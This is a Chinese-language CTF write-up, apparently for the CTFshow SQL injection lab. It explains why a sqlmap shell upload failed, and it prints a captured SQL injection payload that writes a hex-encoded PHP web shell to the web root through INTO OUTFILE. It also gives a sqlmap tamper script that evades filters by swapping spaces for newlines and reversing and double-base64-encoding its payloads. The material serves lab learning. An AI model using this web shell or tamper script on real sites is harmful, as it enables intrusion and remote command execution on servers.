虽然可以直接访问文件上传的php然后手动把shell传上去,但是最后一下确实恶心人...本着追根究底的精神,我去找了一下出现这个问题的原因

问题应该是出现在上传shell文件的时候,那就burp抓包把payload弄下来看,是这样的

1'
LIMIT
0,1
INTO
OUTFILE
'/var/www/html/tmpbzzrb.php'
LINES
TERMINATED
BY
0x3c3f7068702024633d245f524551554553545b22636d64225d3b407365745f74696d655f6c696d69742830293b4069676e6f72655f757365725f61626f72742831293b40696e695f73657428226d61785f657865637574696f6e5f74696d65222c30293b247a3d40696e695f676574282264697361626c655f66756e6374696f6e7322293b69662821656d70747928247a29297b247a3d707265675f7265706c61636528222f5b2c205d2b2f222c272c272c247a293b247a3d6578706c6f646528272c272c247a293b247a3d61727261795f6d617028227472696d222c247a293b7d656c73657b247a3d617272617928293b7d24633d24632e2220323e26315c6e223b66756e6374696f6e206628246e297b676c6f62616c20247a3b72657475726e2069735f63616c6c61626c6528246e29616e6421696e5f617272617928246e2c247a293b7d69662866282273797374656d2229297b6f625f737461727428293b73797374656d282463293b24773d6f625f6765745f636c65616e28293b7d656c736569662866282270726f635f6f70656e2229297b24793d70726f635f6f70656e2824632c617272617928617272617928706970652c72292c617272617928706970652c77292c617272617928706970652c7729292c2474293b24773d4e554c4c3b7768696c65282166656f662824745b315d29297b24772e3d66726561642824745b315d2c353132293b7d4070726f635f636c6f7365282479293b7d656c73656966286628227368656c6c5f657865632229297b24773d7368656c6c5f65786563282463293b7d656c736569662866282270617373746872752229297b6f625f737461727428293b7061737374687275282463293b24773d6f625f6765745f636c65616e28293b7d656c7365696628662822706f70656e2229297b24783d706f70656e2824632c72293b24773d4e554c4c3b69662869735f7265736f7572636528247829297b7768696c65282166656f6628247829297b24772e3d66726561642824782c353132293b7d7d4070636c6f7365282478293b7d656c7365696628662822657865632229297b24773d617272617928293b657865632824632c2477293b24773d6a6f696e28636872283130292c2477292e636872283130293b7d656c73657b24773d303b7d6563686f223c7072653e24773c2f7072653e223b3f3e--
-

看起来没啥问题,那就创建一个数据库执行一下,结果报错了:

看来是注释的问题,仔细看看,发现问题了

我自己写的my.py为了绕过空格过滤,把所有空格直接都变成了换行符。前面几道题都没啥问题因为前面的payload用的都是#作为注释符,但是偏偏这最后一步的payload用的是--+,于是--后面的空格也被我变成了\n,格式就不对了...

解决方法也很简单,把注释符换成#就行了

脚本:

#!/usr/bin/env python
import base64

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    retVal=""
    for i in xrange(len(payload)):
        if payload[i:i+3]=='-- ':
            retVal+='#' #换注释符
            break
        elif payload[i]==' ':
            retVal+=chr(0x0a)
        else:
            retVal+=payload[i]
    retVal = retVal[::-1]
    retVal = base64.b64encode(retVal.encode())
    retVal = retVal[::-1]
    retVal = base64.b64encode(retVal)
    return retVal.decode()

再运行,成功拿到shell~

 

本篇文章参考了三位师傅的博客:

CTFSHOW sql注入(一)_k1he的博客-CSDN博客_ctfshow sql注入

CTFSHOW WEB入门 SQL注入篇【附源码】_mb5fed73533dfa9_51CTO博客

[CTFSHOW]SQL注入(WEB入门)_Y4tacker的博客-CSDN博客_ctfshow sql注入

在此表示感谢~

参考资料:

SQL 教程 | 菜鸟教程 (runoob.com)

​

本作品采用 知识共享署名 4.0 国际许可协议 进行许可
标签: ctfshow sql注入
最后更新:2022年4月9日

yink

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

  • MR.Z

    文章写的不错,加油~

    2021年12月12日
    回复
  • 取消回复

    COPYRIGHT © 2021 101.34.164.187. ALL RIGHTS RESERVED.

    THEME KRATOS MADE BY VTROIS